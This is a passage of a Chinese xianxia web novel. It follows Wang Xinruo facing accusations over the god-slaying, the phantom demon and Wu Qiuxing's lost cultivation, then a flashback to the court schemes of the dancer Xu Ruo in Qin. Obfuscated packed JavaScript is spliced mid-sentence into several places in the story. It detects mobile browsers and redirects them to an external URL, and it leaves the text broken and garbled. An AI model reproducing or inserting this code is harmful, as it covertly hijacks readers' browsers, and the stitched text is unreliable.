王心若轻轻捋了把拂尘,抬眸望她道:“上一刻才恭恭敬敬叫我师姐,下一刻就如此顺口的叫我罪仙,师妹这脸变得可真快。” “你不要转移话题!” “师妹想做什么还是直说罢,不要再一句一问,让人听了心烦。”王心若敛起笑容,微扬着下颌,她原就身形高挑纤细,这番表情,更让素璇自觉矮人一等。 王心若再如何嚣张,此时也非仙盟盟主,尤其她修为还在自己之下……这样想着,素璇原本略虚的心又自信不少,何况,她还站在正义一方,素璇于是愈发底气十足。 她振振有词指责道:“你弑神以致空明山崩塌,三界遭受天谴,幻魔出世,轻者昏迷受伤,重者身死道消,众生整日惶恐不安。身为上仙,不心怀众生,为一己之私杀害神君,导致今日之局面,你不应当负责么?” “师妹,我倒不知,这弑神与山崩有何联系,幻魔与山崩又有何联系?你说得理直气壮,可这些理由却都经不起推敲。身为仙盟盟主,须得处事公正,事因未明,便煽动诸人,围我洞府,是否不妥?”王心若说得不急不缓,神闲气定,引得那些修士也回过神。 素璇冷笑道:“弑神斗法,灵力磅礴,震碎山岳,有何问题?空明山崩,三界倾覆,此乃古训,有何问题?” “前者纯属臆测,可有实证?后者传闻而已,可有实证?既无实证,哪有随意定罪的道理,这仙盟天规,可有一条能让你凭借虚词定罪?而师妹你煽动诸修、围我长风、诬陷于我,连犯三条天规,才应关入地牢。师妹身为副盟主,知法犯法,宽以待己、严以律人,怎让人相信你能管好天界?” “你……你……可你弑神了!” 王心若笑了,“我弑神,又如何,天规有说不可弑神么?” “你欺师灭祖,该受到惩罚!” “那也不该安上莫须有的罪名来惩罚我,再者,你若为你师尊感到不平,大可找我报仇,我随时恭候。” 素璇紧咬下唇,也挤出个笑容,“你既然如此说了,择日不如撞日,我便代师尊教训你!” 话音刚落,淡青色的长绫脱手而出,直直冲到王心若面前。 王心若尚不用自己出手,任流光便从剑鞘中飞出,散着淡淡金光,与青绫相交碰撞。 青绫柔软,缠缚住金剑剑身,王心若持着剑柄,淡声提醒:“师妹,我劝你松手。” 素璇哼道:“你怕了?” 王心若完全懒得接茬,灵力传上剑身,霎时间,那青绫瞬间炸裂成数段。 天玄境的任流光,地黄境的她,素璇哪里来的勇气,用这种华而不实的法器和她对抗。 素璇完全没料到,望着手中仅剩一段的青绫,双目微红,“王心若,你太过分了,这……这是师尊留给我的法器!” “我说过让你松手。” “有本事,放下武器,与我一战!” 王心若冷淡道:“我没空。” 说完,她御剑想离去。 素璇望着那截青绫,眼中渐有恨意滋生,她掌下凝起灵力,朝王心若后背击去。 王心若自感受到那阵掌风,就在她要回身迎上时,有人出现,替她化解这一掌。 “见过盟主!”诸修士齐声喊道。 素璇一愣,朝那人道:“吴师兄。” 素璇不知吴秋行在弑神中充当的角色,还以为他与王心若有夺位争权的嫌隙,立马走到他身旁,道:“吴师兄,师姐她太过分了!” 说话有一半没一半,若是寻常人,定会问她一句“怎么了”。 吴秋行只是语气平静回她:“我知道了,你先带诸人散去罢。” “师兄,你可要替……替那些无辜受难的修士作主!”素璇一见吴秋行,语气中不自觉带上些依赖。 原想说替她作主,但太过小家子气,她便改成为修士作主。这样一来,也更名正言顺。 吴秋行嗯了声,“去吧。” 素璇这才心不甘情不愿带人离去。 见人散尽,吴秋行才缓缓步至王心若身旁,“小九恭迎师姐出关,师姐……容貌几已恢复完全。” 闭关五百载,再见这些师弟,她倒也没那么抗拒。 时光总能带走很多东西,包括情绪。 “我要去鬼域。”她道。 郑含元受伤,她本一出关就想前往寻他,却遭这帮人拦阻,原本焦灼的心情更加烦躁。 吴秋行叹道:“师姐,只怕你去不了。” “为何?” “我才问过林姑娘,她说她联系不上鬼域的白骨郎君,是故难寻界门所在。我认为,幻魔不仅伤了郑师兄,更对整个鬼域动了手脚。” 王心若听他禀告,只觉得头疼得很,“为何不和我说?” “我们也是最近才知道,师姐,随我来。” 吴秋行带王心若去一重天天门旁的照壁,那处原贴满天界追杀令,此时全空,只剩一张淡黄色的纸。 纸上写着一排密密麻麻的字。 王心若望上去,才发现那都是名字。 有红色的字迹,有黑色的字。 黑色字写的名字只有两个,一个是慕容修,一个是郑含元。 “郑师兄在鬼域,我们原也不知他近况如何,只是慕容师兄昏迷后,名字便显现在这上面,两日前,郑师兄的名字也显示在上面,我们便推断,他也受幻魔攻击。” 至于那红字,很明显……那些是丧命幻魔手下的修士。 这纸还空了很大一片。 “幻魔究竟何方神圣?横空出世便有如此威力。” “我查阅古籍,毫无头绪。这般无影无形、无法捕捉的妖魔,实在过于罕见,史上并无记载。” “不对,他伤的人昏迷,他杀的人丧命,你们如何知道他以梦境和幻觉来攻击人?” 吴秋行叹道:“这便是最奇怪的地方,这是幻魔自己告诉我们的。” 他从袖中拿出一张淡黄色的纸,只见上面写道:朝生幻境暮入梦,期与君逢。 这纸张和字迹与照壁上所贴一模一样。 王心若接过字条,又摸了摸照壁上的纸张,道:“这……竟是人皮?” 吴秋行颔首。 “这些伤亡者可有共性?” 吴秋行摇头,“我调出他们的生平事迹,并无相同处,看起来,幻魔杀人,毫无规律,这也是人人自危的原因。” 仪光未除,又出幻魔。 “你以为,幻魔和仪光可有关系?” 吴秋行道:“不好说,但敢杀这么多修士,应该不是神,只能是魔。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137534|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他二人若同道联手,我是不是就死路一条了?” 吴秋行沉默片刻,道:“但若能为师姐所用,便是极好的助手。” 王心若觉得荒诞,颇无奈一笑。 “师姐,还有件事。如今慕容师兄昏迷,许师兄心魔未除,留在鬼域。云渚无主,怕是……怕是要师姐暂代云渚掌门之职。” 王心若望着淡云清天,从她第一次任云渚掌门开始,她的日子似乎就开始奔波于责任中。 她面无表情,说了声好。 “今年恰有十年一度的仙界联招,师姐今年会收徒么?” 天界诸仙君中,唯有王心若从未收过徒,这事以前也被其他人提起过。但她那时实在没精力,且又怕自己做的事连累他人,始终未收过徒。 如今,也不想收徒。 不过暂代掌门之职后,最后一场试炼还是要去看一看。 “若有好苗子,也许会动这样的心思。” 看出她心不在焉和眉眼间的忧愁,吴秋行道:“师姐,我知道你担心师兄,可越是这样的时刻,越要冷静以对。” “好,我会。”她微微闭眸,再睁开,“其实自你来天界后,我便很是敬你,只因你无论何时,总能冷静克制,冷静的人,总是格外刚强。人一旦五情炽盛,便处处都是软肋。” 吴秋行微愣,低头一笑,没再说什么。 之后,两人告别,王心若回云渚看望昏迷的慕容修,探查一番,那幻魔并未在他身上留下一丝属于自己的气息,慕容修的身躯上也并无受伤迹象,却无论怎样都醒不过来。王心若进他识海去探查,却发现那识海被下封印,无法进去。 这封印散发着淡白色的雾气,根本无法解开。 无奈之下,她如今能做的就是待在云渚处理堆积着的门派事务,处理完事务便和任流光修炼。素璇许是听了吴秋行的话,暂时没再来打扰她,倒也清静一段时间。 她心中始终挂念着鬼域,闲时便放出神识去人间探寻界门。只可惜三千人间太广阔,此番寻找,无异于大海捞针。 每日,她都会去一重天照壁看一看那张人皮纸上的名字。 并没有变化。 重复的日子倒还平安,只是每天,心头都有危险更靠近一步的压迫感。 大约一月后,傅钰忽然找她,让她去一眼吴秋行。 “小九怎么了?” 傅钰不敢说,只说她到了便知。 到了衍宗,弟子本说要进去通传,被王心若拦住。 她让傅钰在外面,直接进了吴秋行洞府。 吴秋行见她进来,面上难得有错愕之色。 他才用帕子擦完唇边的血。 王心若看他苍白的面色,心中生出一股不详的感觉。 她直接上前扣住他的手腕,他躲避不及,垂下眼帘。 她越探越心惊,“云腾境的仙君……吴秋行,你的修为呢?” 他却只是淡然一笑,“师姐怎么来了?” “我不来,你是不是就要把自己弄得身死道消?我王心若这般无用,要让你一次次用命给我算天数?” “师姐,冷静些。”吴秋行见她微白的面色,轻笑道:“也不像师姐说的那般严重。只是我今日忽然想起,情劫中,师姐对我说过的一句话。你说,‘昔日有君王烽火戏诸侯、千金买一笑,军师既说爱怜我,愿不愿意让我用这把匕首刺入你的胸膛,来博我一笑’。那时我说好,可我没做到,如今想着,男子汉大丈夫,做出了承诺,还是应当履行的。若能让师姐眉眼间少些忧愁,这些修为又算得了什么。” 他说完,从袖中拿出一张纸,放进她手中。 “师姐想要的,秋行只要能给,都会给。只望……师姐安好。” 她总说他冷静自持,却不知他这一生也曾有两次不冷静。 一次是在她自爆识海,一次就是在那遥远的情劫中。 53. 秋风生渭水(2) 53.秋风生渭水(2) 天历两百万年前,人间荒海以东的疆土,正值群雄争霸的乱世。 东洲上原本盛大的宋王朝从完整走向破碎,人们表面上虽仍拥立宋王为天下共主,可地方势力已然纷纷自立为王,拥有地方实际的控制权。 不过,在群雄中,势力较强,有逐鹿中原、一战天下之力的也只三家。其中,秦公一向以宽仁贤德、克己守礼为名,他虽于关中一带颇有势力,但始终未僭越称王。宋王既依赖他制衡其余势力,也忌惮他自身名望。 宋历建元十七年,宋王以“敬慕秦公雅望,感怀秦公报国忠心”的名义,赏赐他舞姬九名、黄金万两、玉帛不计其数。 这些赏赐被天子使臣从汴梁带往咸阳。 秦公为使臣接风洗尘,开宴置席,谢沐皇恩。 宴上,使臣唤九位舞姬出,献上一曲长袖舞,以娱佳宴。 丝竹声起,美人次第而出,长袖细腰,翩然起舞,赏心悦目。 秦公对使臣说:“尝闻宋女妙曼善舞,如今一见,确实如此。” 使臣敬他,低声道:“秦公中意就好,这九位舞姬都是百里挑一、家世清白的美人。王上感念秦公劳苦功高,却子嗣单薄,故想为秦公充实后宫,备下此种贺礼。” 秦公但笑不语。 舞毕,使臣唤那九位美人上前,“这便是秦公,你们依次拜见他。谁若得了秦公青眼,日后可是前途无量。” 九位美人,环肥燕瘦,清冷浓艳,各有殊色,依次款步上前。 “奴苏容,见过秦公。” “奴徐雁,见过秦公。” …… 最后一位舞姬,原也款步向前,可她走到玉阶下,并未停止脚步,而是步上玉阶,走到秦公身前。 “大胆,谁允你接近君上!”秦公身后的侍卫拔刀指着那不循规矩的舞姬。 白刃凶寒,离纤细玉颈只差一寸。 被长刀阻拦,她未再上前,似一段软柳,柔柔跪坐在秦公身前,在铜案上执起酒杯,不急不缓斟了一杯酒,往前上方递去,似水眼眸也顺着向上望去。 因她举杯,轻薄如云的纱制衣袖轻轻滑落,露出皓白如雪的一段小臂。 “奴徐若,见过君上,愿君上福泽绵长、长乐无极。”她的声音与身段一样柔软,与眸光一般含情。 此举一出,在座诸人脸色皆有微微的变化。 使臣赶忙请罪道:“秦公息怒,内教坊调教无方,让秦公见笑。” 秦公摇头,“大人说笑,这姑娘可爱赤诚,寡人怎会怪她。” 徐若举杯柔声道:“传闻君上雅量宽宏,今日一见,果然如此。” 他望向徐若,从她手中接过酒杯,却未饮下,虚扶她起身,“谢谢徐姑娘这杯酒。” 徐若倒也不介意他没喝下这杯酒,朝他一拜,盈盈退下玉阶,只是转身前仍是欲说还休地望他一眼。 待她回到那些舞姬身旁时,使臣问道:“秦公可对王下的心意满意?” 秦公颔首,“王上给的,自然是最好的,寡人感激不已。” 使臣又道:“秦公既然满意,不如给她们一个名分,我也好向王上复命。” 阶下有武将不满,“大人这是何意,是在给我们君上后宫塞人么?” 很明显是,然而这位将军太过耿直。 这将军对面坐着一个青衫男子,那男子闻言笑道:“将军,寻常男子能得诸绝色之一,已是天大福气,而君上能得九名,可见王上对我秦国之重视,对我君上之信赖。” 这才把略微尴尬的气氛圆回来。 秦公回那使臣,“寡人十分感念王上心意,拟将她们封为良人,大人以为如何?” 秦宫宫制,国夫人以下便是美人、良人、长使、少使。良人之位恰如其分,使臣自然满意。 阶下那青衫男子忽然开口,“君上,秋行有不情之请。” 秦公望向他,“哦?军师有何请求,说来于寡人听。” “秋行对那徐若姑娘一见倾心,还望君上手下留情,将徐姑娘赐予臣为妻。” 话音刚落,一片哗然。 落在徐若身上的目光多了起来。 一个小小女子,当真有这般能力,能让秦国军师一见钟情?何况,这军师素有清雅机敏之名,不应会被美色迷惑。 “军师难得有钟情的女子,既然如此,寡人就不夺人……” 所好两个字还未说出口,他的话就被徐若打断,徐若道:“君上!奴仰慕君上久矣,如今得见君上,已是三生有幸,死而无憾。若君上将奴转送他人,奴宁愿一死了之。” 她未看一眼那开口要她的男子,只是目光灼灼,坚定望着秦公。 “怎么?嫌我们军师配不上你?”将军一听这话不乐意,只觉得这婆娘麻烦得紧。 军师淡然一笑,“是秋行一厢情愿,莽撞了。” 一场宴会在众人无尽的好奇和疑惑中速速收场,徐若和其他八个舞姬一齐被收入秦宫,做了秦妃。 因她那日在殿上的突兀表现,受了不少其他妃子的排挤冷眼。 有人拈酸:“我们徐妹妹当真了不得,竟得了吴军师的青眼,还拒了人家。” 有人嫉恨:“别看以前在宋宫里徐妹妹总是闷声不语,原来却是个最大胆最有心思的。” 有人提醒:“徐妹妹,你可别忘了姐妹们来秦宫的目的。” 徐若并不理会她们的善意或恶意,在秦宫我行我素地活着。 徐若入秦当日的表现并没让她入宫后很快获得宠爱,反而让她成为那批舞姬中唯一没被招幸之人。 经过数月的观察,她才发现,这位温和的秦公喜欢同样温和的女子,而不是她这样热烈主动的。 尤其是军师求娶风波,让秦公更不会轻易沾惹她。 然而,这又有什么要紧? 她边让丫鬟为她用凤仙花汁染着晶莹剔透的指甲,边这样有些轻狂想着。 她一定可以让秦公再次注意到她。 于是,她花重金买通秦公身边的内监,让她作为侍浴婢女,进入浴房。 去之前,她为自己好好沐浴一番,用加了玫瑰香料的水洗遍身上每一处,为自己画了温婉精致的妆容。 秦宫尚简,宫婢衣衫更是简朴,她绾着双环髻,穿着赭色曲裾,微微低头,与另两个婢女一同侍奉秦公沐浴。 秦公似是处理国事后十分疲惫,让人为他揉头解乏。 原本有婢女十分熟稔想要上手,却被徐若毫不见外地挤开,挤开后,她还对那婢女挑衅一笑。 总不能在君上面前闹事,婢女只好把位置让给她。 秦公倚在桶沿,徐若便走到桶边,让他倚在自己身上。她用染了淡淡嫣红指甲的指轻轻按揉他两边太阳穴,轻轻问道:“君上,这力度君上可喜欢?” 秦公只觉背后一片柔软,鼻尖一阵似浓似淡馨香,回道:“有些轻,再重些。” “喏。”她缓缓加重指上力度。 秦公却睁眸,微微侧头,便看见皓腕似雪,玉指纤纤,以及那秦女少染的十指嫣红。 他再侧些身,才看见徐若容貌。 秦公使了个颜色,另外两名婢女便退下。 “是你?” “是我,君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原先嘲讽她计谋愚蠢的妃子,竟也开始模仿她的风格。 可惜,有些东西第一次用是新鲜,第二次用就是笑话。 算计君主这种事从来都是愿者上钩,她敢且能买通内监,是因为这秦公武艺高强,根本不惧她小女子敢在浴房中对他做什么手脚。所以她能进浴房,肯定也是秦公默许。 她开始偶尔向秦公提些要求,秦公基本都同意。 她攀住秦公的腰,娇声问道:“君上,妾想要美人之位,君上给么?” 秦公抚她鬓边发,“美人适合你,你确实是美人。” “那……妾若想要国夫人之位,君上可给?” “你这妮子胃口太大,以后可不许再说这种狂妄的话。”秦公揉揉她的头,无奈道。 徐若笑倒入他怀中。 她这样说,是因那吴军师也在秦公身旁。 他在,她便更如娇柔藤蔓缠着秦公不放,不想让秦公和军师说上一句话。 许是做的有些过火,秦公只好让她先回去。 当夜,秦公并未来徐若宫殿。 徐若半是忧虑,半是解脱,决定出去走走散心。 她一向独来独往,不需要侍女仆从,也没什么后宫姐妹,独自走到一处亭中,百无聊赖折下一枝花。 忽然有人道:“秋夜露重,夫人一人在外,不怕寒气入体么?” 她回身,见夜色里站着一青衫男子,那男子容颜平凡,双眸却比夜色还深邃。 徐若将花枝折成两半,随手扔了,拍了拍手。 她起身缓步向前,笑道:“哟,我道是哪位稀客,原来是我家以前的狗。哦,不对,如今已不是了,如今可是名满天下的吴大军师。” 男子刚想开口,却被清脆的巴掌声打断。 徐若毫不留情掌掴了他。 “吴秋行,想和我说话,一句一巴掌,否则就滚。” 一旁本欲从林中走出的郑思如,被这清脆的巴掌声惊退了脚步。 54. 秋风生渭水(3) 54.秋风生渭水(3) 吴秋行被冷不丁掌掴,脸上的笑意微僵,却没发怒,“数年不见,夫人变了许多。” 徐若笑了一声,那笑声就像银铃铛忽然砸在地上一样短促又清亮,她又走近几步,脸庞几乎贴上他的肩膀,她深深呼吸,入鼻皆是淡如轻烟的竹香。她似靠非靠倚在他肩上,仰头低声道:“吴军师,若你家被屠个满门干净,你也会变许多。” “吴某家中只有一人,杀吴某即是屠门。” 徐若闻言,眼神一冷,就要给他第二个巴掌。 谁知,电闪火石间,她的手腕就被他钳住;她更怒,换手打他,依旧被制住。 “吴秋行,你放手!”她拼着劲想挣脱开他,他却不为所动,那手攥得极紧,让她双腕一阵疼。 吴秋行唇边衔着淡淡的笑意,“夫人,我劝你还是死了那些不好的心思。当初宴上,我已出手救过你一次,可你不听,日后若再发生些什么,我怕是鞭长莫及,再也照拂不到你。” “我需要你照拂?” “想用软玉温香困住贤明君主,实是下下等策。我劝夫人收心,是不想你引火烧身、玩火自焚。” “我怎样关你什么事?”徐若冷笑,瞳孔深处藏着隐约的恨意。 吴秋行叹息,放开双手,“不关我事,夫人请便。” 徐若揉腕,不愿多留,转身离去。 然而,没走几步路,她忽感到一阵头晕,脚步虚浮,往一旁倒去。 没有如同想象中那般倒在冷硬地面,却落在一个并不温暖的怀抱。 “你既然身子不好,就乖乖待在房中,不要随意走动。”吴秋行横抱起她,带她去太医署。 她双腿力气尽失,头也昏沉,只知道自己在吴秋行怀里。 听到他的话,她扬手,左右开弓,打了他五巴掌,“你说了五句话,我一并还你。” 吴秋行双手抱着她,无法攥她手腕,只好默默忍下。她扇的力度极重,月色下也能隐约看见泛红指印。 “夫人没力气走路,却有力气掌掴人。” 徐若面色苍白,笑容却极娇纵艳丽,“那也要看是谁了,其他人我不知,打你我有的是力气。” “看来对夫人而言,我仍是特殊的。” “哈,是啊,别人都是人,唯你是狗,能不特别么?”徐若愈发头晕气短,仍不忘嘴上损他。 她想打他,可刚刚几乎已用尽全身力气,这次手堪堪挨到他的脸,就已使不上劲。她摸到他脸上微肿的红痕,笑了一声,狠狠掐住那红痕。 吴秋行终于吃痛地嘶了一声,沉静如玉的双眸起了微澜,望着她低声说了两个字。 “妖女。” * 吴秋行带她到太医署,将她放到榻上,背着身子对太医令道:“我与君上议事完,出来便发现夫人昏倒在庭院,大人帮我看看,夫人到底怎么了?” 太医令上前替徐若把脉,面上渐露喜色,“是喜事,夫人有孕了。” 吴秋行回道:“原来如此,的确是喜事,这可是君上袭爵以来第一个子嗣,我这就去禀报他。” 徐若却忽然揪住他的袖子,眼神娇娇柔柔,温声细语道:“军师,似这样的好事,妾想留着自己禀告君上。” 太医令不明他们之间的事,在一旁陪笑道:“可以理解,可以理解。” 吴秋行本想送完她赶快离去,不让他人看见脸上伤痕。被她这么一扯,只好顺着话道:“夫人说的是,那……夫人在此修养,臣先告退。” “欸……”徐若苍白的脸上露出一丝微笑,只是那微笑里的恶意也只有吴秋行才看明白。 她对太医令说:“大人,你快看,军师脸颊怎么肿得这般厉害,看了教人怪心疼的,你给军师敷敷药罢。” 她语中担忧不似作伪,唇畔却衔着一丝幸灾乐祸的笑意。 太医令这才注意到吴秋行脸上的伤痕,后者躲不过去,也只能顺水推舟地正坐锦席上,让他帮自己上药。 太医令是个心直口快、忠厚老实之人,他直接问:“军师这是怎么了,谁敢对您下这样的手?” 吴秋行并不似徐若想象中那般窘迫,被发现后,倒是气定神闲回道:“府上小妾不懂事,宠她太过,闹了些脾气。” “哎呀,这家家有本难念的经,我家那婆娘打人也狠。不过……军师这妾也有些太狠了,军师该提点提点,好好调.教一二,万万不可让她爬到你头上来。”太医令边敷药边语重心长地嘱托。 “谁叫我爱怜她,自己宠的,且受着吧。”吴秋行笑叹,眼神却若有若无飘到徐若身上。 她恶心他,他也恶心回来,看谁能更恶心。 徐若捏紧衣袖,对太医令道:“我歇好了,我要回宫。” “臣送夫人。”吴秋行随之起身。 太医令把手中药膏塞给吴秋行,对徐若道:“夫人,你身子虚,臣下明日送几贴安胎药到你宫中,好好养一养。” 两人谢过太医令便告辞。 因徐若仍头晕虚弱,吴秋行只好掺着她,免得她又摔过去。 离开太医署没多久,徐若便骂道:“混账东西!” 吴秋行淡淡一笑,“夫人还是把打骂我的力气省下来养胎罢,你这一胎,不知多少人盯着,保不齐就没了。” “你!”徐若被他的话激怒,却恍悟过来自己过于容易被他影响情绪,于是压下怒气,化作一笑,“若是这胎没了,其中必有你吴军师的手笔,那我日后,也不会让你好过。” “不可理喻。” 徐若懒得再和他吵,还未走到宫门前就让他快滚。 送走这尊大佛,她拢拢衣襟,准备推门回宫,却忽然被拍了拍肩。 她下意识以为是吴秋行,语气不耐,“不是让你滚么?” 可回头后,才发现拍肩之人不是吴秋行,而是一个她完全不认识的少年。 她警惕地后退一步,“你是谁?为何会出现在这里?” 少年语带急切,“我是来带你离开这里的人。” 徐若冷笑一声,说了声“有病”,理也不理他,转身便推门。 少年一急,拉住她的手腕。 徐若眸光微冷,左手迅速从髻上扯下一根银簪,很快便用尖端抵住那少年咽喉,质问他:“你是谁派来的?再敢乱动,我杀了你。” 少年垂眸望着那银簪,又看了会她的脸,嘟囔道:“邪门。” “快说!”那尖端离他咽喉更近,已经挨着肌肤。 “没人派我来,我真是来带你走的,你待在这儿会有危险。” “我与你非亲非故,素未谋面,你为何带我走?” “因为……我……我倾慕你。”少年绞尽脑汁,终于想出了个理由。 “倾慕我?”徐若用那银簪轻轻划过他的脖子。 她围着他缓缓走着,最后停在他身侧,轻抚上他的脸,慵声道:“上一个说倾慕我的,转身就投靠了我的灭门仇敌,你说倾慕我,是要对我做什么呢?好弟弟?” 少年因那声好弟弟俊脸一黑,“……你要如何才能信我?” 徐若盯着他的眸子,将银簪戴回髻上,“说来简单,你杀了吴秋行,我就信你。” 少年叹口气,“换一个,我杀不了他。” 徐若失望,“好吧,那你杀了秦公。” “秦公是谁?” “从这儿往前走三个宫殿,再往右转过桥后第二个寝宫里就是他。你若能杀他,别说跟你走,我这条命都是你的。” 那少年毫不犹豫点头,“好。” 说罢,便按着她给的路线走去,很快,他的身影隐入墨色。 徐若压根不信他,骂了句“有病”,回宫安歇去了。 * 谁知就在当晚,徐若刚睡下不久,宫中忽然响起铺天盖地、此起彼伏的“抓刺客”。 夜色下的秦宫被无数火把点亮。 她被扰得不能入眠,一掀被子,喊来侍女问怎么了。 侍女回道:“回夫人,听说君上被刺客刺杀,太医令全被叫去君上寝宫了,剩下的侍卫们则去追杀刺客。” 徐若这才想起在宫门前遇到的那个少年,她面色一时有些古怪,没想到竟真有人真么傻。 来不及多想那少年,她匆匆起身,赶忙问侍女道:”君上呢?君上如何了?“ “听说……生死未卜。” “怎么会这样?”徐若眼中立马浮现隐隐泪光,她刚穿上鞋,便往宫外走去。 “夫人,你不先梳妆一番么?这……” 侍女的话被她打断,“君上生死未卜,我哪有心思打扮,我得赶紧去看看他!” 诸嫔妃中,徐若不是第一个到的。因她宫殿较远、又不能剧烈奔跑,并没争到这个第一。 秦公软榻旁已围着四五个嘘寒问暖的妃子,还有那个正和秦公交谈的该死的吴秋行,而后面两侧则站着几个内侍和太医令。 徐若迅速打量殿内情形,不禁有些失望。 ——看起来,秦公身体必然无恙。 怎么就没杀死呢?她在心中微微感叹,脸上却是鼻子一酸,双眸一红,落下泪来。 “君上!”她推开秦公榻边两个离他最近的妃子,哀戚道:“您还好么?妾……妾来晚了,还请君上恕罪。” “徐美人,你行为怎么如此野蛮!”被推开的妃嫔之一反应过来后指责她。 “苏姐姐,对不起,妾只是太担心君上,一时忧心不已,才不小心碰到姐姐,希望姐姐不要怪罪妾。”徐若边泪眼盈盈说着,边悄悄握住秦公放在床边的手,与他十指相扣。 “徐美人,君上最是重礼,你面见君上,如此衣衫不整,成何体统!”另一个妃嫔附和着前面那人道。 徐若从床上起身就直奔秦公寝宫,长发披散,雪白的寝衣松松穿在身上,雪脖上还隐隐露出肚兜的红系带,的确比不上她们衣冠齐整、仪态端庄。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137536|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她才不管她们如何批评,只是跪坐在榻边,望着秦公,“妾也是担心君上,生怕君上受到奸人所害,这才匆匆赶来,一时忘了礼仪,君上不会怪妾吧?君上,你哪里伤了,是不是很疼,要不要妾帮你揉揉?” 越说语气越委屈,眼泪就似断线珠子滑落。 “你这么晚才来,还说担心君上?!”其余嫔妃被她简单粗暴的白莲花行径气得不行,不留情面指出她的怠惰。 秦公朝她挑了挑眉,并未替她解围。 她手轻轻勾了勾秦公掌心,泪痕还没消掉,她又娇嗔望他一眼,“君上,妾来迟是有原因的,你让她们退下,妾再细细说给你听。” 又是此起彼伏一阵喊“君上”。 徐若哼了一声,微微前倾,伏在榻上,一双清水涤过的杏眸含情脉脉地望着秦公,直把对方望地叹了口气,对其他妃嫔、内侍和太医道:“你们下去吧,寡人无事。” 徐若回头,朝那些妃子挑衅一笑。 那些妃子又气又没办法,一齐出了门,纷纷骂了句“妖妃”。 ”好歹也是宋宫调.教出来的人,怎么跟个乡野丫头一样不知礼义廉耻,你们看看她那副狐.媚样子,那衣服穿的还不如不穿呢,还有那眼神,恶心谁呢?” “都什么低劣的争宠技俩,哪天被君上看穿了有她受的,君上指不定烦死她!“ …… 她们嘲则任她们嘲,徐若根本不在乎,她介意的是吴秋行还在宫中。 “现在可以说了?”秦公问道。 她摇摇头,似是惧怕地望了眼吴秋行,对方则淡淡移开视线。 秦公看她眼神,以为她是怕有外人在,笑着解释道:“寡人与军师是鱼水之情,不分彼此,且等会寡人与他有要事相商,你先安心说罢,别怕。” 徐若虽是不愿,但也没法赶他走,只好在他面前和秦公腻歪腻歪恶心他。 她于是坐上锦榻,倒在秦公身边,亲了他一口,在他耳边低语道:“君上,人家现在有了你的骨血呢。哪里敢像那些姐姐们一样,跑得那么快来见您,妾倒是想,只是怕累着孩儿罢了,这才迟到。” 秦公一听此话,双眼一亮,起身问道:“次话当真?” 她搂着他的脖子撒娇道:“妾哪敢骗君上。” “好,甚好。你想要什么,寡人都赏给你。”秦公刚说完,顿了顿,道:”除了国夫人这个位置。“ 徐若轻轻一笑,仰头道:“君上……妾想向君上坦白一件事。” “你说。” “妾与其他八位姐姐自宋宫来,是宋王送给君上的礼物,同时,也身负任务。” “什么任务?” “就是为君上绵延子嗣啊。宋宫那些人想着,若我们为君上诞下子嗣,将来这子嗣继承君上的爵位,那他们便可通过我们和我们的孩子来控制秦国。呵,多异想天开的方法呢!以君上的英明神武,又怎会让他们得逞?” 秦公笑问:“那你为何要告诉寡人?” 她委屈倒在他怀里,“因为妾倾慕君上,不愿欺瞒君上。同时,妾也妒忌那些心怀不轨的女子,她们居心叵测,却也能与妾分享君上的温柔,妾实在难过。所以,妾想求的赏赐就是……君上,你把她们赶回宋宫吧!” “放肆!” “妾知道妾放肆,可妾如今就想放肆,君上允不允嘛!”她娇声问他,指尖还轻轻划他胸膛。 秦公捉住她的手,“不老实,容寡人想想。” 一旁沉默许久的吴秋行终于看不下去,淡声打断他们调情,“君上若无事,容臣先行告退。” 秦公好似不记得之前说过要与他继续商讨大事,反而允他退下。 吴秋行走了,徐若忽然觉得有些索然无味,应付着和秦公说了几句关心体贴的话,便也因身子不适告辞。 侍女跟着她回宫,穿过长桥时,侍女啊的一声,忽然晕倒在地。 徐若刚想问谁,就被掐着脖子抵在桥边。 她对上吴秋行那双略显阴郁的眼。 “徐若,我已经警告过你,在秦公面前,不要自以为是。你再不听,大罗神仙也救不了你。” 徐若垂眸望了望他的手,看着他娇媚一笑,“吴军师,究竟是我自以为是,还是你……嫉妒了?” “我嫉妒什么?” “我对世上所有的男子都能好言好语、言笑晏晏,就是对我的仇人,我也能厚着脸皮谄媚,唯独对你,我只会打骂,你不嫉妒么?”她握住他的手腕,“你看,就连掐脖子你也不舍得使劲,你是不是还喜欢着我呢?可惜,你的喜欢对我而言贱如草芥。” 吴秋行收回手,退后几步,“随便你。” 他转身离去。 徐若望着他的背影,悠悠道:“吴军师……吴先生,什么时候再像以前一样教我读《蒹葭》呀?学生想念得紧。” 说完后,她又觉得十分滑稽,笑了几声,也不顾倒在地上的侍女,就这样缓步回了宫。 55. 秋风生渭水(4) 55.秋风生渭水(4) 不到一月,秦公竟真将宋宫来的八位舞姬悉数遣返,秦宫中除却徐若,便只剩宫中旧人。 自此,徐美人独宠秦宫的名头可算远扬东洲。 闻讯时,徐若正坐在凉亭给池塘中的锦鲤喂食。 侍女恭贺她:“如今美人宠冠后宫,又身怀君嗣,前途无量。” 